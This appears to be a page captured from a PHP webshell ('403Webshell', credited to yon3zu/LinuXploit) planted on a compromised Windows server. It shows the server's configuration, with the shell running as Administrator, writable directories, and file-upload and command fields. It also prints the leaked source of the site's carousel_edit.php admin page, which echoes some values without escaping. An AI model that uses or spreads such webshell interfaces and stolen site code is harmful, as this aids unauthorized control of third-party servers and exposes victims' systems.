403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd_29052026/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd_29052026/admin//carousel_edit.php
<?php
require_once 'config/database.php';
require_once 'includes/init.php';

$id = (int)$_GET['id'];
$slide = $conn->query("SELECT * FROM carousel WHERE id = $id")->fetch_assoc();

if (!$slide) {
    echo '<p class="text-danger">Slide tidak ditemukan!</p>';
    exit;
}
?>

<input type="hidden" name="id" value="<?php echo $slide['id']; ?>">

<div class="row">
    <div class="col-md-6 mb-3">
        <label class="form-label">Judul Slide <span class="text-danger">*</span></label>
        <input type="text" class="form-control" name="title" value="<?php echo htmlspecialchars($slide['title']); ?>" required>
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Subtitle</label>
        <input type="text" class="form-control" name="subtitle" value="<?php echo htmlspecialchars($slide['subtitle']); ?>">
    </div>
    <div class="col-12 mb-3">
        <label class="form-label">Deskripsi</label>
        <textarea class="form-control" name="description" rows="3"><?php echo htmlspecialchars($slide['description']); ?></textarea>
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Gambar Saat Ini</label>
        <?php if(!empty($slide['image'])): ?>
            <div class="mb-2">
                <img src="../<?php echo $slide['image']; ?>" alt="Current" style="max-width: 100%; max-height: 100px; border-radius: 5px;">
            </div>
        <?php endif; ?>
        <label class="form-label">Ganti Gambar (opsional)</label>
        <input type="file" class="form-control" name="image" accept="image/*">
        <small class="text-muted">Kosongkan jika tidak ingin mengubah gambar</small>
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Urutan</label>
        <input type="number" class="form-control" name="slide_order" value="<?php echo $slide['slide_order']; ?>" min="0">
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Tombol 1 (Kiri)</label>
        <input type="text" class="form-control" name="button_text" value="<?php echo htmlspecialchars($slide['button_text']); ?>">
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Link Tombol 1</label>
        <input type="text" class="form-control" name="button_link" value="<?php echo htmlspecialchars($slide['button_link']); ?>">
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Tombol 2 (Kanan)</label>
        <input type="text" class="form-control" name="button_text_2" value="<?php echo htmlspecialchars($slide['button_text_2']); ?>">
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Link Tombol 2</label>
        <input type="text" class="form-control" name="button_link_2" value="<?php echo htmlspecialchars($slide['button_link_2']); ?>">
    </div>
    <div class="col-md-6 mb-3">
        <label class="form-label">Status</label>
        <select class="form-control" name="status">
            <option value="active" <?php echo $slide['status'] == 'active' ? 'selected' : ''; ?>>Aktif</option>
            <option value="inactive" <?php echo $slide['status'] == 'inactive' ? 'selected' : ''; ?>>Tidak Aktif</option>
        </select>
    </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit